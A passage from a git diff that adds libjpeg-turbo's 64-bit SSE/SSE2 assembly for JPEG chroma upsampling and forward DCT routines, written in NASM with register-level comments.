(16 18 20 22 24 26 28 30) + paddw xmm0, xmm7 + paddw xmm2, xmm3 + psrlw xmm0, 4 ; xmm0 = Out0LO = ( 1 3 5 7 9 11 13 15) + psrlw xmm2, 4 ; xmm2 = Out0HO = (17 19 21 23 25 27 29 31) + + psllw xmm0, BYTE_BIT + psllw xmm2, BYTE_BIT + por xmm1, xmm0 ; xmm1 = Out0L = ( 0 1 2 ... 13 14 15) + por xmm5, xmm2 ; xmm5 = Out0H = (16 17 18 ... 29 30 31) + + movdqa XMMWORD [rdx + 0 * SIZEOF_XMMWORD], xmm1 + movdqa XMMWORD [rdx + 1 * SIZEOF_XMMWORD], xmm5 + + ; -- process the lower row + + movdqa xmm6, XMMWORD [rdi + 0 * SIZEOF_XMMWORD] + movdqa xmm4, XMMWORD [rdi + 1 * SIZEOF_XMMWORD] + + movdqa xmm7, xmm6 ; xmm6 = Int1L = ( 0 1 2 3 4 5 6 7) + movdqa xmm3, xmm4 ; xmm4 = Int1H = ( 8 9 10 11 12 13 14 15) + psrldq xmm7, 2 ; xmm7 = ( 1 2 3 4 5 6 7 --) + pslldq xmm3, (SIZEOF_XMMWORD - 2) ; xmm3 = (-- -- -- -- -- -- -- 8) + movdqa xmm0, xmm6 + movdqa xmm2, xmm4 + psrldq xmm0, (SIZEOF_XMMWORD - 2) ; xmm0 = ( 7 -- -- -- -- -- -- --) + pslldq xmm2, 2 ; xmm2 = (-- 8 9 10 11 12 13 14) + + por xmm7, xmm3 ; xmm7 = ( 1 2 3 4 5 6 7 8) + por xmm0, xmm2 ; xmm0 = ( 7 8 9 10 11 12 13 14) + + movdqa xmm1, xmm6 + movdqa xmm5, xmm4 + pslldq xmm1, 2 ; xmm1 = (-- 0 1 2 3 4 5 6) + psrldq xmm5, 2 ; xmm5 = ( 9 10 11 12 13 14 15 --) + movdqa xmm3, xmm4 + psrldq xmm3, (SIZEOF_XMMWORD - 2) ; xmm3 = (15 -- -- -- -- -- -- --) + + por xmm1, XMMWORD [wk(1)] ; xmm1 = (-1 0 1 2 3 4 5 6) + por xmm5, XMMWORD [wk(3)] ; xmm5 = ( 9 10 11 12 13 14 15 16) + + movdqa XMMWORD [wk(1)], xmm3 + + pmullw xmm6, [rel PW_THREE] + pmullw xmm4, [rel PW_THREE] + paddw xmm1, [rel PW_EIGHT] + paddw xmm0, [rel PW_EIGHT] + paddw xmm7, [rel PW_SEVEN] + paddw xmm5, [rel PW_SEVEN] + + paddw xmm1, xmm6 + paddw xmm0, xmm4 + psrlw xmm1, 4 ; xmm1 = Out1LE = ( 0 2 4 6 8 10 12 14) + psrlw xmm0, 4 ; xmm0 = Out1HE = (16 18 20 22 24 26 28 30) + paddw xmm7, xmm6 + paddw xmm5, xmm4 + psrlw xmm7, 4 ; xmm7 = Out1LO = ( 1 3 5 7 9 11 13 15) + psrlw xmm5, 4 ; xmm5 = Out1HO = (17 19 21 23 25 27 29 31) + + psllw xmm7, BYTE_BIT + psllw xmm5, BYTE_BIT + por xmm1, xmm7 ; xmm1 = Out1L = ( 0 1 2 ... 13 14 15) + por xmm0, xmm5 ; xmm0 = Out1H = (16 17 18 ... 29 30 31) + + movdqa XMMWORD [rdi + 0 * SIZEOF_XMMWORD], xmm1 + movdqa XMMWORD [rdi + 1 * SIZEOF_XMMWORD], xmm0 + + sub rax, byte SIZEOF_XMMWORD + add rcx, byte 1 * SIZEOF_XMMWORD ; inptr1(above) + add rbx, byte 1 * SIZEOF_XMMWORD ; inptr0 + add rsi, byte 1 * SIZEOF_XMMWORD ; inptr1(below) + add rdx, byte 2 * SIZEOF_XMMWORD ; outptr0 + add rdi, byte 2 * SIZEOF_XMMWORD ; outptr1 + cmp rax, byte SIZEOF_XMMWORD + ja near .columnloop + test rax, rax + jnz near .columnloop_last + + pop rsi + pop rdi + pop rcx + pop rax + + add rsi, byte 1 * SIZEOF_JSAMPROW ; input_data + add rdi, byte 2 * SIZEOF_JSAMPROW ; output_data + sub rcx, byte 2 ; rowctr + jg near .rowloop + +.return: + pop rbx + UNCOLLECT_ARGS 4 + lea rsp, [rbp - 8] + pop r15 + pop rbp + ret + +; -------------------------------------------------------------------------- +; +; Fast processing for the common case of 2:1 horizontal and 1:1 vertical. +; It's still a box filter. +; +; GLOBAL(void) +; jsimd_h2v1_upsample_sse2(int max_v_samp_factor, JDIMENSION output_width, +; JSAMPARRAY input_data, JSAMPARRAY *output_data_ptr) +; +; r10 = int max_v_samp_factor +; r11d = JDIMENSION output_width +; r12 = JSAMPARRAY input_data +; r13 = JSAMPARRAY *output_data_ptr + + align 32 + GLOBAL_FUNCTION(jsimd_h2v1_upsample_sse2) + +EXTN(jsimd_h2v1_upsample_sse2): + ENDBR64 + push rbp + mov rbp, rsp + COLLECT_ARGS 4 + + mov edx, r11d + add rdx, byte (2 * SIZEOF_XMMWORD) - 1 + and rdx, byte -(2 * SIZEOF_XMMWORD) + jz near .return + + mov rcx, r10 ; rowctr + test rcx, rcx + jz short .return + + mov rsi, r12 ; input_data + mov rdi, r13 + mov rdip, JSAMPARRAY [rdi] ; output_data +.rowloop: + push rdi + push rsi + + mov rsip, JSAMPROW [rsi] ; inptr + mov rdip, JSAMPROW [rdi] ; outptr + mov rax, rdx ; colctr +.columnloop: + + movdqa xmm0, XMMWORD [rsi + 0 * SIZEOF_XMMWORD] + + movdqa xmm1, xmm0 + punpcklbw xmm0, xmm0 + punpckhbw xmm1, xmm1 + + movdqa XMMWORD [rdi + 0 * SIZEOF_XMMWORD], xmm0 + movdqa XMMWORD [rdi + 1 * SIZEOF_XMMWORD], xmm1 + + sub rax, byte 2 * SIZEOF_XMMWORD + jz short .nextrow + + movdqa xmm2, XMMWORD [rsi + 1 * SIZEOF_XMMWORD] + + movdqa xmm3, xmm2 + punpcklbw xmm2, xmm2 + punpckhbw xmm3, xmm3 + + movdqa XMMWORD [rdi + 2 * SIZEOF_XMMWORD], xmm2 + movdqa XMMWORD [rdi + 3 * SIZEOF_XMMWORD], xmm3 + + sub rax, byte 2 * SIZEOF_XMMWORD + jz short .nextrow + + add rsi, byte 2 * SIZEOF_XMMWORD ; inptr + add rdi, byte 4 * SIZEOF_XMMWORD ; outptr + jmp short .columnloop + +.nextrow: + pop rsi + pop rdi + + add rsi, byte SIZEOF_JSAMPROW ; input_data + add rdi, byte SIZEOF_JSAMPROW ; output_data + dec rcx ; rowctr + jg short .rowloop + +.return: + UNCOLLECT_ARGS 4 + pop rbp + ret + +; -------------------------------------------------------------------------- +; +; Fast processing for the common case of 2:1 horizontal and 2:1 vertical. +; It's still a box filter. +; +; GLOBAL(void) +; jsimd_h2v2_upsample_sse2(int max_v_samp_factor, JDIMENSION output_width, +; JSAMPARRAY input_data, JSAMPARRAY *output_data_ptr) +; +; r10 = int max_v_samp_factor +; r11d = JDIMENSION output_width +; r12 = JSAMPARRAY input_data +; r13 = JSAMPARRAY *output_data_ptr + + align 32 + GLOBAL_FUNCTION(jsimd_h2v2_upsample_sse2) + +EXTN(jsimd_h2v2_upsample_sse2): + ENDBR64 + push rbp + mov rbp, rsp + COLLECT_ARGS 4 + push rbx + + mov edx, r11d + add rdx, byte (2 * SIZEOF_XMMWORD) - 1 + and rdx, byte -(2 * SIZEOF_XMMWORD) + jz near .return + + mov rcx, r10 ; rowctr + test rcx, rcx + jz near .return + + mov rsi, r12 ; input_data + mov rdi, r13 + mov rdip, JSAMPARRAY [rdi] ; output_data +.rowloop: + push rdi + push rsi + + mov rsip, JSAMPROW [rsi] ; inptr + mov rbxp, JSAMPROW [rdi + 0 * SIZEOF_JSAMPROW] ; outptr0 + mov rdip, JSAMPROW [rdi + 1 * SIZEOF_JSAMPROW] ; outptr1 + mov rax, rdx ; colctr +.columnloop: + + movdqa xmm0, XMMWORD [rsi + 0 * SIZEOF_XMMWORD] + + movdqa xmm1, xmm0 + punpcklbw xmm0, xmm0 + punpckhbw xmm1, xmm1 + + movdqa XMMWORD [rbx + 0 * SIZEOF_XMMWORD], xmm0 + movdqa XMMWORD [rbx + 1 * SIZEOF_XMMWORD], xmm1 + movdqa XMMWORD [rdi + 0 * SIZEOF_XMMWORD], xmm0 + movdqa XMMWORD [rdi + 1 * SIZEOF_XMMWORD], xmm1 + + sub rax, byte 2 * SIZEOF_XMMWORD + jz short .nextrow + + movdqa xmm2, XMMWORD [rsi + 1 * SIZEOF_XMMWORD] + + movdqa xmm3, xmm2 + punpcklbw xmm2, xmm2 + punpckhbw xmm3, xmm3 + + movdqa XMMWORD [rbx + 2 * SIZEOF_XMMWORD], xmm2 + movdqa XMMWORD [rbx + 3 * SIZEOF_XMMWORD], xmm3 + movdqa XMMWORD [rdi + 2 * SIZEOF_XMMWORD], xmm2 + movdqa XMMWORD [rdi + 3 * SIZEOF_XMMWORD], xmm3 + + sub rax, byte 2 * SIZEOF_XMMWORD + jz short .nextrow + + add rsi, byte 2 * SIZEOF_XMMWORD ; inptr + add rbx, byte 4 * SIZEOF_XMMWORD ; outptr0 + add rdi, byte 4 * SIZEOF_XMMWORD ; outptr1 + jmp short .columnloop + +.nextrow: + pop rsi + pop rdi + + add rsi, byte 1 * SIZEOF_JSAMPROW ; input_data + add rdi, byte 2 * SIZEOF_JSAMPROW ; output_data + sub rcx, byte 2 ; rowctr + jg near .rowloop + +.return: + pop rbx + UNCOLLECT_ARGS 4 + pop rbp + ret + +; For some reason, the OS X linker does not honor the request to align the +; segment unless we do this. + align 32 diff --git a/lib/libjpeg-turbo/simd/x86_64/jfdctflt-sse.asm b/lib/libjpeg-turbo/simd/x86_64/jfdctflt-sse.asm new file mode 100755 index 0000000..cfc3c4e --- /dev/null +++ b/lib/libjpeg-turbo/simd/x86_64/jfdctflt-sse.asm @@ -0,0 +1,360 @@ +; +; Floating-point FDCT (64-bit SSE) +; +; Copyright 2009 Pierre Ossman for Cendio AB +; Copyright (C) 2009, 2016, 2024-2025, D. R. Commander. +; Copyright (C) 2023, Aliaksiej Kandracienka. +; +; Based on the x86 SIMD extension for IJG JPEG library +; Copyright (C) 1999-2006, MIYASAKA Masaru. +; For conditions of distribution and use, see copyright notice in jsimdext.inc +; +; This file should be assembled with NASM (Netwide Assembler) or Yasm. +; +; This file contains a floating-point implementation of the forward DCT +; (Discrete Cosine Transform). The following code is based directly on the +; IJG's original jfdctflt.c; see jfdctflt.c for more details. + +%include "jsimdext.inc" +%include "jdct.inc" + +; -------------------------------------------------------------------------- + +%macro unpcklps2 2 ; %1 = (0 1 2 3) / %2 = (4 5 6 7) => %1 = (0 1 4 5) + shufps %1, %2, 0x44 +%endmacro + +%macro unpckhps2 2 ; %1 = (0 1 2 3) / %2 = (4 5 6 7) => %1 = (2 3 6 7) + shufps %1, %2, 0xEE +%endmacro + +; -------------------------------------------------------------------------- + SECTION SEG_CONST + + ALIGNZ 32 + GLOBAL_DATA(jconst_fdct_float_sse) + +EXTN(jconst_fdct_float_sse): + +PD_0_382 times 4 dd 0.382683432365089771728460 +PD_0_707 times 4 dd 0.707106781186547524400844 +PD_0_541 times 4 dd 0.541196100146196984399723 +PD_1_306 times 4 dd 1.306562964876376527856643 + + ALIGNZ 32 + +; -------------------------------------------------------------------------- + SECTION SEG_TEXT + BITS 64 + +; Perform the forward DCT on one block of samples. +; +; GLOBAL(void) +; jsimd_fdct_float_sse(FAST_FLOAT *data) +; +; r10 = FAST_FLOAT *data + +%define wk(i) r15 - (WK_NUM - (i)) * SIZEOF_XMMWORD ; xmmword wk[WK_NUM] +%define WK_NUM 2 + + align 32 + GLOBAL_FUNCTION(jsimd_fdct_float_sse) + +EXTN(jsimd_fdct_float_sse): + ENDBR64 + push rbp + mov rbp, rsp + push r15 + and rsp, byte (-SIZEOF_XMMWORD) ; align to 128 bits + ; Allocate stack space for wk array. r15 is used to access it. + mov r15, rsp + sub rsp, byte (SIZEOF_XMMWORD * WK_NUM) + COLLECT_ARGS 1 + + ; ---- Pass 1: process rows. + + mov rdx, r10 ; (FAST_FLOAT *) + mov rcx, DCTSIZE / 4 +.rowloop: + + movaps xmm0, XMMWORD [XMMBLOCK(2, 0, rdx, SIZEOF_FAST_FLOAT)] + movaps xmm1, XMMWORD [XMMBLOCK(3, 0, rdx, SIZEOF_FAST_FLOAT)] + movaps xmm2, XMMWORD [XMMBLOCK(2, 1, rdx, SIZEOF_FAST_FLOAT)] + movaps xmm3, XMMWORD [XMMBLOCK(3, 1, rdx, SIZEOF_FAST_FLOAT)] + + ; xmm0 = (20 21 22 23) + ; xmm2 = (24 25 26 27) + ; xmm1 = (30 31 32 33) + ; xmm3 = (34 35 36 37) + + movaps xmm4, xmm0 ; transpose coefficients(phase 1) + unpcklps xmm0, xmm1 ; xmm0 = (20 30 21 31) + unpckhps xmm4, xmm1 ; xmm4 = (22 32 23 33) + movaps xmm5, xmm2 ; transpose coefficients(phase 1) + unpcklps xmm2, xmm3 ; xmm2 = (24 34 25 35) + unpckhps xmm5, xmm3 ; xmm5 = (26 36 27 37) + + movaps xmm6, XMMWORD [XMMBLOCK(0, 0, rdx, SIZEOF_FAST_FLOAT)] + movaps xmm7, XMMWORD [XMMBLOCK(1, 0, rdx, SIZEOF_FAST_FLOAT)] + movaps xmm1, XMMWORD [XMMBLOCK(0, 1, rdx, SIZEOF_FAST_FLOAT)] + movaps xmm3, XMMWORD [XMMBLOCK(1, 1, rdx, SIZEOF_FAST_FLOAT)] + + ; xmm6 = (00 01 02 03) + ; xmm1 = (04 05 06 07) + ; xmm7 = (10 11 12 13) + ; xmm3 = (14 15 16 17) + + movaps XMMWORD [wk(0)], xmm4 ; wk(0) = (22 32 23 33) + movaps XMMWORD [wk(1)], xmm2 ; wk(1) = (24 34 25 35) + + movaps xmm4, xmm6 ; transpose coefficients(phase 1) + unpcklps xmm6, xmm7 ; xmm6 = (00 10 01 11) + unpckhps xmm4, xmm7 ; xmm4 = (02 12 03 13) + movaps xmm2, xmm1 ; transpose coefficients(phase 1) + unpcklps xmm1, xmm3 ; xmm1 = (04 14 05 15) + unpckhps xmm2, xmm3 ; xmm2 = (06 16 07 17) + + movaps xmm7, xmm6 ; transpose coefficients(phase 2) + unpcklps2 xmm6, xmm0 ; xmm6 = (00 10 20 30) = data0 + unpckhps2 xmm7, xmm0 ; xmm7 = (01 11 21 31) = data1 + movaps xmm3, xmm2 ; transpose coefficients(phase 2) + unpcklps2 xmm2, xmm5 ; xmm2 = (06 16 26 36) = data6 + unpckhps2 xmm3, xmm5 ; xmm3 = (07 17 27 37) = data7 + + movaps xmm0, xmm7 + movaps xmm5, xmm6 + subps xmm7, xmm2 ; xmm7 = data1 - data6 = tmp6 + subps xmm6, xmm3 ; xmm6 = data0 - data7 = tmp7 + addps xmm0, xmm2 ; xmm0 = data1 + data6 = tmp1 + addps xmm5, xmm3 ; xmm5 = data0 + data7 = tmp0 + + movaps xmm2, XMMWORD [wk(0)] ; xmm2 = (22 32 23 33) + movaps xmm3, XMMWORD [wk(1)] ; xmm3 = (24 34 25 35) + movaps XMMWORD [wk(0)], xmm7 ; wk(0) = tmp6 + movaps XMMWORD [wk(1)], xmm6 ; wk(1) = tmp7 + + movaps xmm7, xmm4 ; transpose coefficients(phase 2) + unpcklps2 xmm4, xmm2 ; xmm4 = (02 12 22 32) = data2 + unpckhps2 xmm7, xmm2 ; xmm7 = (03 13 23 33) = data3 + movaps xmm6, xmm1 ; transpose coefficients(phase 2) + unpcklps2 xmm1, xmm3 ; xmm1 = (04 14 24 34) = data4 + unpckhps2 xmm6, xmm3 ; xmm6 = (05 15 25 35) = data5 + + movaps xmm2, xmm7 + movaps xmm3, xmm4 + addps xmm7, xmm1 ; xmm7 = data3 + data4 = tmp3 + addps xmm4, xmm6 ; xmm4 = data2 + data5 = tmp2 + subps xmm2, xmm1 ; xmm2 = data3 - data4 = tmp4 + subps xmm3, xmm6 ; xmm3 = data2 - data5 = tmp5 + + ; -- Even part + + movaps xmm1, xmm5 + movaps xmm6, xmm0 + subps xmm5, xmm7 ; xmm5 = tmp13 + subps xmm0, xmm4 ; xmm0 = tmp12 + addps xmm1, xmm7 ; xmm1 = tmp10 + addps xmm6, xmm4 ; xmm6 = tmp11 + + addps xmm0, xmm5 + mulps xmm0, [rel PD_0_707] ; xmm0 = z1 + + movaps xmm7, xmm1 + movaps xmm4, xmm5 + subps xmm1, xmm6 ; xmm1 = data4 + subps xmm5, xmm0 ; xmm5 = data6 + addps xmm7, xmm6 ; xmm7 = data0 + addps xmm4, xmm0 ; xmm4 = data2 + + movaps XMMWORD [XMMBLOCK(0, 1, rdx, SIZEOF_FAST_FLOAT)], xmm1 + movaps XMMWORD [XMMBLOCK(2, 1, rdx, SIZEOF_FAST_FLOAT)], xmm5 + movaps XMMWORD [XMMBLOCK(0, 0, rdx, SIZEOF_FAST_FLOAT)], xmm7 + movaps XMMWORD [XMMBLOCK(2, 0, rdx, SIZEOF_FAST_FLOAT)], xmm4 + + ; -- Odd part + + movaps xmm6, XMMWORD [wk(0)] ; xmm6 = tmp6 + movaps xmm0, XMMWORD [wk(1)] ; xmm0 = tmp7 + + addps xmm2, xmm3 ; xmm2 = tmp10 + addps xmm3, xmm6 ; xmm3 = tmp11 + addps xmm6, xmm0 ; xmm6 = tmp12, xmm0 = tmp7 + + mulps xmm3, [rel PD_0_707] ; xmm3 = z3 + + movaps xmm1, xmm2 ; xmm1 = tmp10 + subps xmm2, xmm6 + mulps xmm2, [rel PD_0_382] ; xmm2 = z5 + mulps xmm1, [rel PD_0_541] ; xmm1 = MULTIPLY(tmp10, FIX_0_541196) + mulps xmm6, [rel PD_1_306] ; xmm6 = MULTIPLY(tmp12, FIX_1_306562) + addps xmm1, xmm2 ; xmm1 = z2 + addps xmm6, xmm2 ; xmm6 = z4 + + movaps xmm5, xmm0 + subps xmm0, xmm3 ; xmm0 = z13 + addps xmm5, xmm3 ; xmm5 = z11 + + movaps xmm7, xmm0 + movaps xmm4, xmm5 + subps xmm0, xmm1 ; xmm0 = data3 + subps xmm5, xmm6 ; xmm5 = data7 + addps xmm7, xmm1 ; xmm7 = data5 + addps xmm4, xmm6 ; xmm4 = data1 + + movaps XMMWORD [XMMBLOCK(3, 0, rdx, SIZEOF_FAST_FLOAT)], xmm0 + movaps XMMWORD [XMMBLOCK(3, 1, rdx, SIZEOF_FAST_FLOAT)], xmm5 + movaps XMMWORD [XMMBLOCK(1, 1, rdx, SIZEOF_FAST_FLOAT)], xmm7 + movaps XMMWORD [XMMBLOCK(1, 0, rdx, SIZEOF_FAST_FLOAT)], xmm4 + + add rdx, 4 * DCTSIZE * SIZEOF_FAST_FLOAT + dec rcx + jnz near .rowloop + + ; ---- Pass 2: process columns. + + mov rdx, r10 ; (FAST_FLOAT *) + mov rcx, DCTSIZE / 4 +.columnloop: + + movaps xmm0, XMMWORD [XMMBLOCK(2, 0, rdx, SIZEOF_FAST_FLOAT)] + movaps xmm1, XMMWORD [XMMBLOCK(3, 0, rdx, SIZEOF_FAST_FLOAT)] + movaps xmm2, XMMWORD [XMMBLOCK(6, 0, rdx, SIZEOF_FAST_FLOAT)] + movaps xmm3, XMMWORD [XMMBLOCK(7, 0, rdx, SIZEOF_FAST_FLOAT)] + + ; xmm0 = (02 12 22 32) + ; xmm2 = (42 52 62 72) + ; xmm1 = (03 13 23 33) + ; xmm3 = (43 53 63 73) + + movaps xmm4, xmm0 ; transpose coefficients(phase 1) + unpcklps xmm0, xmm1 ; xmm0 = (02 03 12 13) + unpckhps xmm4, xmm1 ; xmm4 = (22 23 32 33) + movaps xmm5, xmm2 ; transpose coefficients(phase 1) + unpcklps xmm2, xmm3 ; xmm2 = (42 43 52 53) + unpckhps xmm5, xmm3 ; xmm5 = (62 63 72 73) + + movaps xmm6, XMMWORD [XMMBLOCK(0, 0, rdx, SIZEOF_FAST_FLOAT)] + movaps xmm7, XMMWORD [XMMBLOCK(1, 0, rdx, SIZEOF_FAST_FLOAT)] + movaps xmm1, XMMWORD [XMMBLOCK(4, 0, rdx, SIZEOF_FAST_FLOAT)] + movaps xmm3, XMMWORD [XMMBLOCK(5, 0, rdx, SIZEOF_FAST_FLOAT)] + + ; xmm6 = (00 10 20 30) + ; xmm1 = (40 50 60 70) + ; xmm7 = (01 11 21 31) + ; xmm3 = (41 51 61 71) + + movaps XMMWORD [wk(0)], xmm4 ; wk(0) = (22 23 32 33) + movaps XMMWORD [wk(1)], xmm2 ; wk(1) = (42 43 52 53) + + movaps xmm4, xmm6 ; transpose coefficients(phase 1) + unpcklps xmm6, xmm7 ; xmm6 = (00 01 10 11) + unpckhps xmm4, xmm7 ; xmm4 = (20 21 30 31) + movaps xmm2, xmm1 ; transpose coefficients(phase 1) + unpcklps xmm1, xmm3 ; xmm1 = (40 41 50 51) + unpckhps xmm2, xmm3 ; xmm2 = (60 61 70 71) + + movaps xmm7, xmm6 ; transpose coefficients(phase 2) + unpcklps2 xmm6, xmm0 ; xmm6 = (00 01 02 03) = data0 + unpckhps2 xmm7, xmm0 ; xmm7 = (10 11 12 13) = data1 + movaps xmm3, xmm2 ; transpose coefficients(phase 2) + unpcklps2 xmm2, xmm5 ; xmm2 = (60 61 62 63) = data6 + unpckhps2 xmm3, xmm5 ; xmm3 = (70 71 72 73) = data7 + + movaps xmm0, xmm7 + movaps xmm5, xmm6 + subps xmm7, xmm2 ; xmm7 = data1 - data6 = tmp6 + subps xmm6, xmm3 ; xmm6 = data0 - data7 = tmp7 + addps xmm0, xmm2 ; xmm0 = data1 + data6 = tmp1 + addps xmm5, xmm3 ; xmm5 = data0 + data7 = tmp0 + + movaps xmm2, XMMWORD [wk(0)] ; xmm2 = (22 23 32 33) + movaps xmm3, XMMWORD [wk(1)] ; xmm3 = (42 43 52 53) + movaps XMMWORD [wk(0)], xmm7 ; wk(0) = tmp6 + movaps XMMWORD [wk(1)], xmm6 ; wk(1) = tmp7 + + movaps xmm7, xmm4 ; transpose coefficients(phase 2) + unpcklps2 xmm4, xmm2 ; xmm4 = (20 21 22 23) = data2 + unpckhps2 xmm7, xmm2 ; xmm7 = (30 31 32 33) = data3 + movaps xmm6, xmm1 ; transpose coefficients(phase 2) + unpcklps2 xmm1, xmm3 ; xmm1 = (40 41 42 43) = data4 + unpckhps2 xmm6, xmm3 ; xmm6 = (50 51 52 53) = data5 + + movaps xmm2, xmm7 + movaps xmm3, xmm4 + addps xmm7, xmm1 ; xmm7 = data3 + data4 = tmp3 + addps xmm4, xmm6 ; xmm4 = data2 + data5 = tmp2 + subps xmm2, xmm1 ; xmm2 = data3 - data4 = tmp4 + subps xmm3, xmm6 ; xmm3 = data2 - data5 = tmp5 + + ; -- Even part + + movaps xmm1, xmm5 + movaps xmm6, xmm0 + subps xmm5, xmm7 ; xmm5 = tmp13 + subps xmm0, xmm4 ; xmm0 = tmp12 + addps xmm1, xmm7 ; xmm1 = tmp10 + addps xmm6, xmm4 ; xmm6 = tmp11 + + addps xmm0, xmm5 + mulps xmm0, [rel PD_0_707] ; xmm0 = z1 + + movaps xmm7, xmm1 + movaps xmm4, xmm5 + subps xmm1, xmm6 ; xmm1 = data4 + subps xmm5, xmm0 ; xmm5 = data6 + addps xmm7, xmm6 ; xmm7 = data0 + addps xmm4, xmm0 ; xmm4 = data2 + + movaps XMMWORD [XMMBLOCK(4, 0, rdx, SIZEOF_FAST_FLOAT)], xmm1 + movaps XMMWORD [XMMBLOCK(6, 0, rdx, SIZEOF_FAST_FLOAT)], xmm5 + movaps XMMWORD [XMMBLOCK(0, 0, rdx, SIZEOF_FAST_FLOAT)], xmm7 + movaps XMMWORD [XMMBLOCK(2, 0, rdx, SIZEOF_FAST_FLOAT)], xmm4 + + ; -- Odd part + + movaps xmm6, XMMWORD [wk(0)] ; xmm6 = tmp6 + movaps xmm0, XMMWORD [wk(1)] ; xmm0 = tmp7 + + addps xmm2, xmm3 ; xmm2 = tmp10 + addps xmm3, xmm6 ; xmm3 = tmp11 + addps xmm6, xmm0 ; xmm6 = tmp12, xmm0 = tmp7 + + mulps xmm3, [rel PD_0_707] ; xmm3 = z3 + + movaps xmm1, xmm2 ; xmm1 = tmp10 + subps xmm2, xmm6 + mulps xmm2, [rel PD_0_382] ; xmm2 = z5 + mulps xmm1, [rel PD_0_541] ; xmm1 = MULTIPLY(tmp10, FIX_0_541196) + mulps xmm6, [rel PD_1_306] ; xmm6 = MULTIPLY(tmp12, FIX_1_306562) + addps xmm1, xmm2 ; xmm1 = z2 + addps xmm6, xmm2 ; xmm6 = z4 + + movaps xmm5, xmm0 + subps xmm0, xmm3 ; xmm0 = z13 + addps xmm5, xmm3 ; xmm5 = z11 + + movaps xmm7, xmm0 + movaps xmm4, xmm5 + subps xmm0, xmm1 ; xmm0 = data3 + subps xmm5, xmm6 ; xmm5 = data7 + addps xmm7, xmm1 ; xmm7 = data5 + addps xmm4, xmm6 ; xmm4 = data1 + + movaps XMMWORD [XMMBLOCK(3, 0, rdx, SIZEOF_FAST_FLOAT)], xmm0 + movaps XMMWORD [XMMBLOCK(7, 0, rdx, SIZEOF_FAST_FLOAT)], xmm5 + movaps XMMWORD [XMMBLOCK(5, 0, rdx, SIZEOF_FAST_FLOAT)], xmm7 + movaps XMMWORD [XMMBLOCK(1, 0, rdx, SIZEOF_FAST_FLOAT)], xmm4 + + add rdx, byte 4 * SIZEOF_FAST_FLOAT + dec rcx + jnz near .columnloop + + UNCOLLECT_ARGS 1 + lea rsp, [rbp - 8] + pop r15 + pop rbp + ret + +; For some reason, the OS X linker does not honor the request to align the +; segment unless we do this. + align 32 diff --git a/lib/libjpeg-turbo/simd/x86_64/jfdctint-sse2.asm b/lib/libjpeg-turbo/simd/x86_64/jfdctint-sse2.asm new file mode 100755 index 0000000..53b3296 --- /dev/null +++ b/lib/libjpeg-turbo/simd/x86_64/jfdctint-sse2.asm @@ -0,0 +1,623 @@ +; +; Accurate integer FDCT (64-bit SSE2) +; +; Copyright 2009 Pierre Ossman for Cendio AB +; Copyright (C) 2009, 2016, 2020, 2024-2025, D. R. Commander. +; Copyright (C) 2023, Aliaksiej Kandracienka. +; +; Based on the x86 SIMD extension for IJG JPEG library +; Copyright (C) 1999-2006, MIYASAKA Masaru. +; For conditions of distribution and use, see copyright notice in jsimdext.inc +; +; This file should be assembled with NASM (Netwide Assembler) or Yasm. +; +; This file contains a slower but more accurate integer implementation of the +; forward DCT (Discrete Cosine Transform). The following code is based +; directly on the IJG's original jfdctint.c; see jfdctint.c for more details. + +%include "jsimdext.inc" +%include "jdct.inc" + +; -------------------------------------------------------------------------- + +%define CONST_BITS 13 +%define PASS1_BITS 2 + +%define DESCALE_P1 (CONST_BITS - PASS1_BITS) +%define DESCALE_P2 (CONST_BITS + PASS1_BITS) + +%if CONST_BITS == 13 +F_0_298 equ 2446 ; FIX(0.298631336) +F_0_390 equ 3196 ; FIX(0.390180644) +F_0_541 equ 4433 ; FIX(0.541196100) +F_0_765 equ 6270 ; FIX(0.765366865) +F_0_899 equ 7373 ; FIX(0.899976223) +F_1_175 equ 9633 ; FIX(1.175875602) +F_1_501 equ 12299 ; FIX(1.501321110) +F_1_847 equ 15137 ; FIX(1.847759065) +F_1_961 equ 16069 ; FIX(1.961570560) +F_2_053 equ 16819 ; FIX(2.053119869) +F_2_562 equ 20995 ; FIX(2.562915447) +F_3_072 equ 25172 ; FIX(3.072711026) +%else +; NASM cannot do compile-time arithmetic on floating-point constants. +%define DESCALE(x, n) (((x) + (1 << ((n) - 1))) >> (n)) +F_0_298 equ DESCALE( 320652955, 30 - CONST_BITS) ; FIX(0.298631336) +F_0_390 equ DESCALE( 418953276, 30 - CONST_BITS) ; FIX(0.390180644) +F_0_541 equ DESCALE( 581104887, 30 - CONST_BITS) ; FIX(0.541196100) +F_0_765 equ DESCALE( 821806413, 30 - CONST_BITS) ; FIX(0.765366865) +F_0_899 equ DESCALE( 966342111, 30 - CONST_BITS) ; FIX(0.899976223) +F_1_175 equ DESCALE(1262586813, 30 - CONST_BITS) ; FIX(1.175875602) +F_1_501 equ DESCALE(1612031267, 30 - CONST_BITS) ; FIX(1.501321110) +F_1_847 equ DESCALE(1984016188, 30 - CONST_BITS) ; FIX(1.847759065) +F_1_961 equ DESCALE(2106220350, 30 - CONST_BITS) ; FIX(1.961570560) +F_2_053 equ DESCALE(2204520673, 30 - CONST_BITS) ; FIX(2.053119869) +F_2_562 equ DESCALE(2751909506, 30 - CONST_BITS) ; FIX(2.562915447) +F_3_072 equ DESCALE(3299298341, 30 - CONST_BITS) ; FIX(3.072711026) +%endif + +; -------------------------------------------------------------------------- + SECTION SEG_CONST + + ALIGNZ 32 + GLOBAL_DATA(jconst_fdct_islow_sse2) + +EXTN(jconst_fdct_islow_sse2): + +PW_F130_F054 times 4 dw (F_0_541 + F_0_765), F_0_541 +PW_F054_MF130 times 4 dw F_0_541, (F_0_541 - F_1_847) +PW_MF078_F117 times 4 dw (F_1_175 - F_1_961), F_1_175 +PW_F117_F078 times 4 dw F_1_175, (F_1_175 - F_0_390) +PW_MF060_MF089 times 4 dw (F_0_298 - F_0_899), -F_0_899 +PW_MF089_F060 times 4 dw -F_0_899, (F_1_501 - F_0_899) +PW_MF050_MF256 times 4 dw (F_2_053 - F_2_562), -F_2_562 +PW_MF256_F050 times 4 dw -F_2_562, (F_3_072 - F_2_562) +PD_DESCALE_P1 times 4 dd 1 << (DESCALE_P1 - 1) +PD_DESCALE_P2 times 4 dd 1 << (DESCALE_P2 - 1) +PW_DESCALE_P2X times 8 dw 1 << (PASS1_BITS - 1) + + ALIGNZ 32 + +; -------------------------------------------------------------------------- + SECTION SEG_TEXT + BITS 64 + +; Perform the forward DCT on one block of samples. +; +; GLOBAL(void) +; jsimd_fdct_islow_sse2(DCTELEM *data) +; +; r10 = DCTELEM *data + +%define wk(i) r15 - (WK_NUM - (i)) * 